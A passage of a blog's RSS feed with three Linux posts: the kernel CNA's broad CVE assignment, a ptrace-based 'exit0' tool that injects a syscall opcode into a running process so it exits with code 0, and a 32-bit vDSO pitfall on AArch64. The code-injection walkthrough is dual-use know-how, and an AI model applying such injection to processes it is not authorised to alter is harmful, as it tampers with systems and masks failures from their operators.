I&rsquo;ve received numerous inquiries from people seeking clarification and expressing concern about the apparent surge in the issuance of CVE numbers for almost every non-trivial patch applied to the maintained stable kernel trees.</p>]]></description><content:encoded><![CDATA[<h1 id="thoughts-on-linux-cnas-approach-and-the-resulting-cve-flood">Thoughts on Linux CNA&rsquo;s Approach and the Resulting CVE Flood</h1>
<p>Recently, the Linux Kernel Project attained the status of a CNA<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> (CVE Numbering Authority), granting it the capability to independently issue CVEs (Common Vulnerabilities and Exposures).
While this development may seem unremarkable, the substantial increase in the number of newly assigned CVEs raises many questions.
I&rsquo;ve received numerous inquiries from people seeking clarification and expressing concern about the apparent surge in the issuance of CVE numbers for almost every non-trivial patch applied to the maintained stable kernel trees.</p>
<p>It appears that there is a diversity of interpretations regarding what qualifies as a CVE and what does not. In this blog post, I aim to articulate some personal reflections on this situation.</p>
<h2 id="understanding-vulnerabilities">Understanding Vulnerabilities</h2>
<p>Assigning a CVE doesn&rsquo;t always mean a critical issue that every user must quickly address.</p>
<p>Let&rsquo;s take a look at what cve.org says about what qualifies as a vulnerability. The CNA rules<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> are:</p>
<blockquote>
<p>7.1.1 If a product owner considers an issue to be a vulnerability in its product, then the issue MUST be considered a vulnerability, regardless of whether other parties (e.g., other vendors whose products share the affected code) agree.</p>
</blockquote>
<blockquote>
<p>7.1.2 If the CNA determines that an issue violates the security policy of a product, then the issue SHOULD be considered a vulnerability.</p>
</blockquote>
<blockquote>
<p>7.1.3 If a CNA receives a report about a new vulnerability that has a negative impact, then the reported vulnerability MAY be considered a vulnerability.</p>
</blockquote>
<p>The Linux Kernel CNA<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> itself states:</p>
<blockquote>
<p>As part of the normal stable release process, kernel changes that are
potentially security issues are identified by the developers responsible
for CVE number assignments and have CVE numbers automatically assigned
to them.  These assignments are published on the linux-cve-announce
mailing list as announcements on a frequent basis.</p>
</blockquote>
<blockquote>
<p>Note, due to the layer at which the Linux kernel is in a system, almost
any bug might be exploitable to compromise the security of the kernel,
but the possibility of exploitation is often not evident when the bug is
fixed.  Because of this, the CVE assignment team is overly cautious and
assign CVE numbers to any bugfix that they identify.  This
explains the seemingly large number of CVEs that are issued by the Linux
kernel team.</p>
</blockquote>
<p>So, the Kernel CNA adheres to rule <em>7.1.3</em> of cve.org, indicating that any patch addressing a bug with potential negative impacts receives a CVE.
This doesn&rsquo;t necessarily imply that the bug is exploitable, but it could be exploited by someone with malicious intent as part of an exploit chain.
Modern exploits often consist of a complex chain that utilizes numerous small bugs.</p>
<p>It&rsquo;s important to note that the Kernel CNA lacks context on individual system usage or threat models.
Therefore, the CNA cannot determine if you prioritize bugs that can be triggered remotely or care about those only the root user can activate.
The ultimate decision on whether a CVE is relevant to your system lies with you or your Linux vendor.</p>
<h2 id="lets-take-a-closer-look">Let&rsquo;s Take a Closer Look</h2>
<p>Many people express concern that almost every bug fix receives a CVE, suggesting that the Kernel CNA should limit CVE assignments to bug fixes addressing security issues.
However, distinguishing between a regular bug fix and a security bug fix can be challenging, especially for a foundational component like the monolithic UNIX kernel.
Let&rsquo;s examine the last few CVEs in my linux-cve-announce mailbox.</p>
<h6 id="cve-2023-52589-media-rkisp1-fix-irq-disable-race-issue"><a href="https://lore.kernel.org/linux-cve-announce/2024030644-CVE-2023-52589-8f84@gregkh/T/#u">CVE-2023-52589</a>: media: rkisp1: Fix IRQ disable race issue</h6>
<p>The rkisp1 media driver for RockChip SoCs suffers from a bug in interrupt handling which can lockup (deadlock) the kernel.
If the attacker can control the driver or the media stream a DoS situation could occur.</p>
<h6 id="cve-2023-52591-reiserfs-avoid-touching-renamed-directory-if-parent-does-not-change"><a href="https://lore.kernel.org/linux-cve-announce/2024030644-CVE-2023-52591-46a0@gregkh/T/#u">CVE-2023-52591</a>: reiserfs: Avoid touching renamed directory if parent does not change</h6>
<p>The bug fix addresses a locking issue in the reiserfs filesystem.
It does not correctly use the Linux VFS interface which could lead to a corrupted filesystem.
A local attacker could trigger this and corrupt data on disk.</p>
<h6 id="cve-2023-52590-ocfs2-avoid-touching-renamed-directory-if-parent-does-not-change"><a href="https://lore.kernel.org/linux-cve-announce/2024030644-CVE-2023-52590-fca9@gregkh/T/#u">CVE-2023-52590</a>: ocfs2: Avoid touching renamed directory if parent does not change</h6>
<p>Fixes the same as CVE-2023-52591 but in the ocfs2 filesystem.</p>
<h6 id="cve-2024-26626-ipmr-fix-kernel-panic-when-forwarding-mcast-packets"><a href="https://lore.kernel.org/linux-cve-announce/2024030648-CVE-2024-26626-a910@gregkh/T/#u">CVE-2024-26626</a>: ipmr: fix kernel panic when forwarding mcast packets</h6>
<p>This fix addresses a potential kernel panic caused by a NULL pointer dereference when forwarding multicast IP packets.
The NULL pointer dereference could result in a simple denial-of-service (DoS) attack, but it could escalate to something more serious if it is a use-after-free issue.
Despite multicast routing is typically disabled by default on Linux, this case still qualifies for a CVE due to its potential impact when enabled.</p>
<h6 id="cve-2024-26628-drmamdkfd-fix-lock-dependency-warning"><a href="https://lore.kernel.org/linux-cve-announce/2024030649-CVE-2024-26628-f6ce@gregkh/T/#u">CVE-2024-26628</a>: drm/amdkfd: Fix lock dependency warning</h6>
<p>Linux&rsquo;s lock checker identified an invalid lock state within a GPU driver, and the patch addresses this issue by restructuring certain code paths.
While this problem is probably not exploitable on its own, it could potentially assist a local attacker in exploiting undefined behavior resulting from the invalid lock state.
It&rsquo;s important to note that for this to be a concern, the specific GPU driver in question must be in use on the target system.</p>
<h6 id="cve-2024-26627-scsi-core-move-scsi_host_busy-out-of-host-lock-for-waking-up-eh-handler"><a href="https://lore.kernel.org/linux-cve-announce/2024030648-CVE-2024-26627-e3a2@gregkh/T/#u">CVE-2024-26627</a>: scsi: core: Move scsi_host_busy() out of host lock for waking up EH handler</h6>
<p>In this scenario, a bug within the SCSI library in the kernel is addressed.
This bug has the potential to cause a kernel lockup, akin to a deadlock, especially when there is an abundance of SCSI requests in progress in a specific configuration.
This situation could result in a Denial of Service (DoS) scenario if an attacker can control the amount of SCSI requests.</p>
<p>Arguably, except for CVE-2024-26626, none of the aforementioned CVEs appear particularly dangerous at first glance.
However, it&rsquo;s crucial to recognize that each bug fix behind these CVEs addresses an issue resulting in undefined behavior.
For a skilled attacker, any of these bugs could serve as a useful building block.</p>
<h3 id="linuxs-approach">Linux&rsquo;s Approach</h3>
<p>As I see it, the approach adopted by the Linux Kernel CNA is refreshingly honest.
It may be surprising because other projects or vendors, especially proprietary ones, often take the opposite approach, attempting to avoid assigning a CVE unless it&rsquo;s unequivocally clear that a bug is exploitable.
The reluctance of some vendors to assign new CVEs has led to the emergence of projects like <a href="https://notcve.org/">!CVE</a>.
This highlights a conceptual challenge with CVEs—they are a somewhat generic tool, and various interpretations exist regarding what qualifies as a CVE.
For those accustomed to few CVEs being issued, each describing an independently exploitable bug, the Linux kernel CNA&rsquo;s approach may be unexpected.</p>
<h2 id="dealing-with-the-cve-flood">Dealing with the CVE Flood</h2>
<p>CVEs serve as a widely-used metric to signal when a specific software component has received a security fix, prompting the need for an update in products or software built upon it.
However, as a vendor, delivering updates can be challenging, and customers may not always be enthusiastic about installing them unless absolutely necessary.
This reluctance often leads product maintainers to prefer CVEs for severe and demonstrably exploitable issues.
Furthermore, security scanners tend to flag any CVE associated with a particular software version, but they lack awareness of your kernel configuration or loaded drivers, just like the kernel CNA.
Ultimately, determining the relevance of a CVE rests with you.
When in doubt, it&rsquo;s prudent to consider yourself affected.</p>
<p>To effectively manage the influx of CVEs, consider the following:</p>
<ul>
<li>Always use a recent and supported kernel, such as a Long-Term Support (LTS) version.</li>
<li>Establish a robust update strategy with rollback capabilities.</li>
<li>Keep your customizations atop the kernel minimal and well maintained to minimize disruptions during upgrades.</li>
<li>Whenever possible, contribute your changes upstream to keep your patch queue slim.</li>
<li>Familiarize yourself with your kernel configuration, including enabled config options and used drivers. For instance, if you&rsquo;re not using reiserfs, CVE-2023-52591 may not be applicable to your system&hellip;</li>
<li>Understand your threat model; Can you trust local users or even the root user? This knowledge informs your risk assessment and response to potential vulnerabilities.</li>
</ul>
<p>It should also be noted that the increased number of CVEs does not necessarily imply that Linux is less secure than before.
The surge simply provides greater insight and transparency into issues that could potentially impact security.
Previously, you would have had to monitor each bug fix manually.</p>
<h4 id="is-my-kernel-affected-by-a-cve---a-rough-metric">Is My Kernel Affected by a CVE? - A Rough Metric</h4>
<p>The Linux kernel is highly configurable at build time, there is a good chance that many CVEs affect code
your kernel build doesn&rsquo;t has enabled.
By looking at the affected files list of a bug fix for a CVE you can check whether the patched files are actually part of your
kernel build. If they are not, the bug fix is unlikely to affect you.</p>
<p>Let&rsquo;s use <a href="https://lore.kernel.org/linux-cve-announce/2024030649-CVE-2024-26628-f6ce@gregkh/T/#u">CVE-2024-26628</a> as example.
The <code>Affected files</code> section states <code>drivers/gpu/drm/amd/amdkfd/kfd_svm.c</code>, so if this file is part of your kernel build,
you&rsquo;re affected.</p>
<p>Recent kernels allow creating a <code>compile_commands.json</code> file like many other build systems do.
By checking this JSON file it is possible to see whether a particular file will be build.</p>
<pre tabindex="0"><code>$ make compile_commands.json
$ jq &#39;.[] | .file&#39; compile_commands.json | grep drivers/gpu/drm/amd/amdkfd/kfd_svm.c
</code></pre><p>Ideally, you store <code>compile_commands.json</code> after every build somewhere, then you can quickly check without needing
the kernel build directory.</p>
<p>In case your kernel is too old to have <code>compile_commands.json</code>, you can still check after a build by searching
for the object file.
Replace the <code>.c</code> suffix with <code>.o</code> and search in the build directory for it.</p>
<p>Please keep in mind that this all works only if you&rsquo;re using a kernel version that is still supported.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The Linux CNA intentionally adopts an overly cautious approach and assigns a new CVE when in doubt.
While this may surprise many, it is a perfectly legitimate and entirely honest strategy.
In contrast, vendors of proprietary software often tend to take the opposite approach, minimizing the assignment of CVEs whenever possible.
Effectively managing the substantial number of CVEs involves understanding your kernel configuration, having a clear threat model, and ensuring the ability to update the kernel as needed.
I hope that other large projects will eventually adopt Linux&rsquo;s approach.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="http://www.kroah.com/log/blog/2024/02/13/linux-is-a-cna/">Linux is a CNA</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://www.cve.org/ResourcesSupport/AllResources/CNARules#section_7-1_what_is_a_vulnerability">CNA Rules | CVE</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://docs.kernel.org/process/cve.html#process">CVes - The Linux Kernel documentaion</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Pseudo Graceful Process Termination through Code Injection</title><link>https://sigma-star.at/blog/2024/02/exit0-code-injection/</link><pubDate>Sun, 25 Feb 2024 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2024/02/exit0-code-injection/</guid><description><![CDATA[<h1 id="pseudo-graceful-process-termination-through-code-injection">Pseudo Graceful Process Termination through Code Injection</h1>
<h2 id="introduction">Introduction</h2>
<p>On UNIX systems, terminating programs involves sending signals, such as <code>SIGTERM</code> or <code>SIGKILL</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, to the target process.
<code>SIGTERM</code> allows a process to gracefully handle the termination signal, whereas <code>SIGKILL</code> abruptly ends the process.
After termination, the parent process takes charge by reading the exit status and acting accordingly.
An exit code of <code>0</code> signifies success, whereas other codes denote failures, including termination by a signal or application errors.</p>]]></description><content:encoded><![CDATA[<h1 id="pseudo-graceful-process-termination-through-code-injection">Pseudo Graceful Process Termination through Code Injection</h1>
<h2 id="introduction">Introduction</h2>
<p>On UNIX systems, terminating programs involves sending signals, such as <code>SIGTERM</code> or <code>SIGKILL</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, to the target process.
<code>SIGTERM</code> allows a process to gracefully handle the termination signal, whereas <code>SIGKILL</code> abruptly ends the process.
After termination, the parent process takes charge by reading the exit status and acting accordingly.
An exit code of <code>0</code> signifies success, whereas other codes denote failures, including termination by a signal or application errors.</p>
<p>However, what if the need arises to forcefully terminate a process, disguising it as a successful exit?
I came across this need recently while observing a long-running process that blocked further work.
It made no progress, and I was tempted to just <code>kill</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> it.
Since the parent process would detect the non-zero exit code, there was a high likelihood of making things worse.</p>
<p>This got me thinking - how can we build a tool to stop a process forcefully but make it look like a successful termination?
As far as I know, Linux doesn&rsquo;t provide an API to perform such a kill.
So I decided to take a different route and make the process terminate itself with a zero exit code using code injection.</p>
<h2 id="the-plan">The Plan</h2>
<p>Linux offers multiple APIs to alter the memory of a process.
You can use the <code>ptrace()</code><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> and <code>process_vm_writev()</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> system calls or access <code>/proc/PID/mem</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.
Internally, all of them utilize the process tracing and debugging subsystem.
The most basic access API is <code>ptrace()</code>, which allows word wise access, <code>process_vm_writev()</code> is ideal if you need to
transfer more data and want to use fewer system calls.
And finally, <code>/proc/PID/mem</code> lets you treat foreign memory like a file.</p>
<p>The plan is to stop all threads of the target program, identify a memory location where we can write code, and make one thread execute the <code>exit_group()</code><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> system call with an exit code of zero.
Since we aim for a graceful exit, the program must not crash or exhibit undefined behavior as soon as we start editing the executing code.
It is crucial to halt all threads of the program before altering the program code.
Remote memory allocation into a process is not possible, so we need to modify existing memory.</p>
<figure>
<img src="img/multithread.png?width=auto" loading="lazy" decoding="async" alt="Multipble threads executing"></figure>
<p>Stopping only one thread carries the risk that another thread may concurrently execute code in the area we are changing, triggering an access or illegal instruction exception.
Therefore, it is necessary to stop all threads to ensure a smooth modification process.</p>
<h3 id="step-1-finding-and-seizing-all-threads">Step 1: Finding and Seizing all Threads</h3>
<p>Linux exposes all thread IDs of a process via <code>/proc/PID/task/</code>, allowing us to iterate over the list and stop each one.
It is important to repeat this process until no new threads appear.
There is always a possibility that a thread is creating a new one while we are scanning.
Additionally, we need to handle the scenario where threads exit while we are scanning the list.</p>
<p>Once we find a non-stopped thread, we apply the <code>ptrace()</code> operations <code>PTRACE_SEIZE</code> and <code>PTRACE_INTERRUPT</code>.
<code>PTRACE_SEIZE</code> attaches us to the thread and enables further <code>ptrace()</code> operations.
<code>PTRACE_INTERRUPT</code> ensures that the current system call is aborted, causing the thread to enter the stop state.</p>
<h3 id="step-2-finding-a-suitable-memory-location">Step 2: Finding a Suitable Memory Location</h3>
<p>After stopping all threads, the next step is to find a suitable location to write our code.
Saving the thread&rsquo;s current CPU register set using <code>PTRACE_GETREGSET</code> is crucial for this step.
From the register set, we can determine where the program counter was when we seized and interrupted the thread.
It is safe to assume that the program counter will point to a memory location that is executable.
Therefore, the memory page the program counter points to is guaranteed to be executable, and we can place our code there.</p>
<figure>
<img src="img/twopages.png?width=auto" loading="lazy" decoding="async" alt="PC at adjacent pages"></figure>
<p>However, one corner case to consider is if the program counter is near the end of the page, the injected code could overlap into the next adjacent page.
The adjacent page might be non-executable or not even present.
To avoid this scenario, we rewind the program counter to the beginning of the page.
It&rsquo;s important to note that this approach works only if the code to be injected is smaller than the size of a page.</p>
<h3 id="step-3-injecting-code">Step 3: Injecting Code</h3>
<p>Now it is time to think about what code to inject.
Our goal is to have a thread inside the target process to execute the <code>group_exit()</code> system call.
For a x86_64 system the assembly code could look like that:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-GAS" data-lang="GAS"><span class="line"><span class="cl"><span class="nf">mov</span> <span class="no">$231</span><span class="p">,</span> <span class="nv">%rax</span>	<span class="c1">; __NR_exit_group
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">mov</span> <span class="no">$0</span><span class="p">,</span> <span class="nv">%rdi</span>	<span class="c1">; 1st parameter to exit_group is 0
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">syscall</span>		<span class="c1">; Fire system call
</span></span></span></code></pre></div><p>Since the first two instructions set up only the system call parameters<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>, it is also possible to set all registers needed for the system call setup using the saved register set.
That way only one instruction opcode needs to be written into the memory of the target process.
So, the only code to write is the system call opcode. For x86_64 it is <code>0x0f</code>, <code>0x05</code>.</p>
<p>We could even go a step further and execute the system call without writing to any memory location at all.
By analyzing <code>/proc/PID/maps</code> of the target process it is possible to scan every memory mapping that has the executable bit set for the <code>syscall</code> opcode and make the program counter point to it.
The drawback of this approach is that searching for the <code>syscall</code> opcode might take a long time because a significant amount of memory needs to be searched.</p>
<p>The final approach is:</p>
<ol>
<li>Rewind the program counter to the beginning of the current page.</li>
<li>Set the saved registers according to the Linux syscall ABI<sup id="fnref1:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.</li>
<li>Write the <code>syscall</code> opcode into the executable page.</li>
<li>Restore the registers using <code>PTRACE_SETREGSET</code>.</li>
<li>Continue the thread using <code>PTRACE_CONT</code>.</li>
</ol>
<p>The attentive reader may wonder how it&rsquo;s possible to write to an executable page when most memory areas in Linux are set as read-only.
The answer is that these restrictions apply only to userspace.
Since we&rsquo;re writing through the kernel, we can easily alter read-only areas.</p>
<p>Once the thread is resumed, it will execute from the new program counter location.
The <code>syscall</code> opcode will transition to kernel context and execute the <code>exit_group()</code> system call as configured in the register set.</p>
<p>For x86_64, one anomaly to consider is if the thread was executing a system call when we interrupted it; the kernel may attempt to restart the system call after <code>PTRACE_CONT</code>.
To disable the system call restart mechanism, we need to set the <code>orig_rax</code><sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup> pseudo register in the saved register set to <code>-1</code>.</p>
<h2 id="the-result">The Result</h2>
<p>The end result is a tool called <a href="https://github.com/richardweinberger/exit0">exit0</a>, compatible with both x86_64 and AArch64 architectures.
The only command-line parameter it requires is the target process ID.
It is capable of terminating any process for which the caller has <code>ptrace()</code> permissions, with an exit code of <code>0</code>.</p>
<h2 id="summary">Summary</h2>
<p>Code injection is not a straightforward technique and should be employed with caution.
However, it is not exclusively used by malicious programs.
Similar to <a href="https://github.com/richardweinberger/exit0">exit0</a>, there are legitimate use cases.
<a href="https://github.com/richardweinberger/exit0">exit0</a> can be viewed as a proof of concept.
The assessment of its utility or potential danger is subjective and depends on the reader&rsquo;s perspective.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://man7.org/linux/man-pages/man7/signal.7.html">signal(7) Linux manual page</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://man7.org/linux/man-pages/man1/kill.1.html">kill(1) Linux manual page</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://man7.org/linux/man-pages/man2/ptrace.2.html">ptrace(2) Linux manual page</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://man7.org/linux/man-pages/man2/process_vm_writev.2.html">process_vm_writev(2) Linux manual page</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://man7.org/linux/man-pages/man5/proc.5.html">proc(5) Linux manual page</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://man7.org/linux/man-pages/man2/exit_group.2.html">exit_group(2) Linux manual page</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://man7.org/linux/man-pages/man2/syscall.2.html">syscall(2) Linux manual page</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/kernel/signal.c?h=v6.7#n315">Linux Kernel x86 orig_rax handling</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>A Time Consuming Pitfall for 32-bit Applications on AArch64</title><link>https://sigma-star.at/blog/2024/02/aarch64-32-bit-compat-pitfall/</link><pubDate>Wed, 14 Feb 2024 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2024/02/aarch64-32-bit-compat-pitfall/</guid><description><![CDATA[<h1 id="a-time-consuming-pitfall-for-32-bit-applications-on-aarch64">A Time Consuming Pitfall for 32-bit Applications on AArch64</h1>
<p>It&rsquo;s common to run 32-bit legacy applications on 64-bit Linux systems.
Similar to many other architectures, AArch64 (referred to as arm64 in the context of Linux) also supports this.
When you build the Linux kernel for this scenario, you have to enable the <code>CONFIG_COMPAT</code> option in the kernel config.</p>
<p>However, there&rsquo;s one potential issue I&rsquo;d like to highlight.
Unlike on x86_64, where the same GCC toolchain can generate both 64-bit and 32-bit programs (controlled by the <code>-m32</code> switch),
AArch64 requires two separate GCC toolchains.
So, what&rsquo;s the challenge when running a 64-bit kernel?
The problem lies in the virtual dynamic shared object (vDSO)<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. To support a vDSO for 32-bit ARM applications,
the kernel requires a second toolchain during the build process.</p>]]></description><content:encoded><![CDATA[<h1 id="a-time-consuming-pitfall-for-32-bit-applications-on-aarch64">A Time Consuming Pitfall for 32-bit Applications on AArch64</h1>
<p>It&rsquo;s common to run 32-bit legacy applications on 64-bit Linux systems.
Similar to many other architectures, AArch64 (referred to as arm64 in the context of Linux) also supports this.
When you build the Linux kernel for this scenario, you have to enable the <code>CONFIG_COMPAT</code> option in the kernel config.</p>
<p>However, there&rsquo;s one potential issue I&rsquo;d like to highlight.
Unlike on x86_64, where the same GCC toolchain can generate both 64-bit and 32-bit programs (controlled by the <code>-m32</code> switch),
AArch64 requires two separate GCC toolchains.
So, what&rsquo;s the challenge when running a 64-bit kernel?
The problem lies in the virtual dynamic shared object (vDSO)<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. To support a vDSO for 32-bit ARM applications,
the kernel requires a second toolchain during the build process.</p>
<p>If you simply enable <code>CONFIG_COMPAT</code> without setting up <code>CROSS_COMPILE_COMPAT</code> to an AArch32 cross compiler,
the resulting kernel won&rsquo;t supply a vDSO to 32-bit applications.
While these applications will run smoothly, they won&rsquo;t enjoy the advantages of the vDSO.</p>
<p>On the other hand, if you&rsquo;re building the kernel with clang, setting <code>CROSS_COMPILE_COMPAT</code> is not needed.
This is because the same clang toolchain can produce code for different CPU architectures.</p>
<h2 id="the-role-of-the-vdso">The Role of the vDSO</h2>
<p>The vDSO provides the functionality of specific syscalls without requiring a switch into the kernel context.
Instead, the kernel places sufficient information into a memory region accessible to userspace to achieve the same functionality.
An example of this is the <code>gettimeofday(2)</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> system call.
Utilizing the vDSO for querying the current time eliminates the need for a context switch, resulting in a faster operation.</p>
<p>This is where forgetting to set <code>CROSS_COMPILE_COMPAT</code> can have a significant impact.
If you solely rely on <code>CONFIG_COMPAT</code> without configuring <code>CROSS_COMPILE_COMPAT</code>, your legacy application will incur a context switch for each <code>gettimeofday(2)</code> call.
While most applications may not be affected, those with strict time constraints requiring frequent timestamp retrieval, such as real-time applications, could face issues due to this.</p>
<p>I encountered this issue when I observed the absence of the vDSO for a legacy application on an AArch64-platform and became curious about its impact.
To assess the effect, I conducted a small benchmark.
The benchmark involves querying the current time using <code>gettimeofday(2)</code> 500000 times on a Raspberry Pi 3 B+, comparing the performance with and without the presence of a vDSO.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/time.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">struct</span> <span class="n">timeval</span> <span class="n">tv1</span><span class="p">,</span> <span class="n">tv2</span><span class="p">,</span> <span class="n">tvtmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">total</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">gettimeofday</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tv1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">500000</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">              <span class="nf">gettimeofday</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tvtmp</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="nf">gettimeofday</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tv2</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">total</span> <span class="o">=</span> <span class="p">((</span><span class="n">tv2</span><span class="p">.</span><span class="n">tv_sec</span> <span class="o">*</span> <span class="mi">1000000</span><span class="p">)</span> <span class="o">+</span> <span class="n">tv2</span><span class="p">.</span><span class="n">tv_usec</span><span class="p">)</span> <span class="o">-</span> <span class="p">((</span><span class="n">tv1</span><span class="p">.</span><span class="n">tv_sec</span> <span class="o">*</span> <span class="mi">1000000</span><span class="p">)</span> <span class="o">+</span> <span class="n">tv1</span><span class="p">.</span><span class="n">tv_usec</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%ld</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">total</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><table>
  <thead>
      <tr>
          <th>Test</th>
          <th>Duration (us)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>without vDSO</td>
          <td>1905827</td>
      </tr>
      <tr>
          <td>with vDSO</td>
          <td>68856</td>
      </tr>
  </tbody>
</table>
<p>As illustrated, the benchmark runs more than <strong>25 times</strong> slower without the vDSO.</p>
<h2 id="integrating-cross_compile_compat-support-into-yocto">Integrating <code>CROSS_COMPILE_COMPAT</code> Support into Yocto</h2>
<p>Fixing the problem for my current project turned out to be a little more work, and in this case, I used Yocto.
I found out the hard way that nobody else had considered <code>CROSS_COMPILE_COMPAT</code> before me.
So, I had to patch the kernel bitbake class in Yocto to be able to use the second 32-bit toolchain while building the kernel.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-diff" data-lang="diff"><span class="line"><span class="cl"><span class="gh">diff --git a/meta/classes-recipe/kernel.bbclass b/meta/classes-recipe/kernel.bbclass
</span></span></span><span class="line"><span class="cl"><span class="gh">index 16b85dbca4..6fcbb1e41b 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/meta/classes-recipe/kernel.bbclass
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/meta/classes-recipe/kernel.bbclass
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -208,6 +208,39 @@ PACKAGES_DYNAMIC += &#34;^${KERNEL_PACKAGE_NAME}-module-.*&#34;
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> PACKAGES_DYNAMIC += &#34;^${KERNEL_PACKAGE_NAME}-image-.*&#34;
</span></span><span class="line"><span class="cl"> PACKAGES_DYNAMIC += &#34;^${KERNEL_PACKAGE_NAME}-firmware-.*&#34;
</span></span><span class="line"><span class="cl"> 
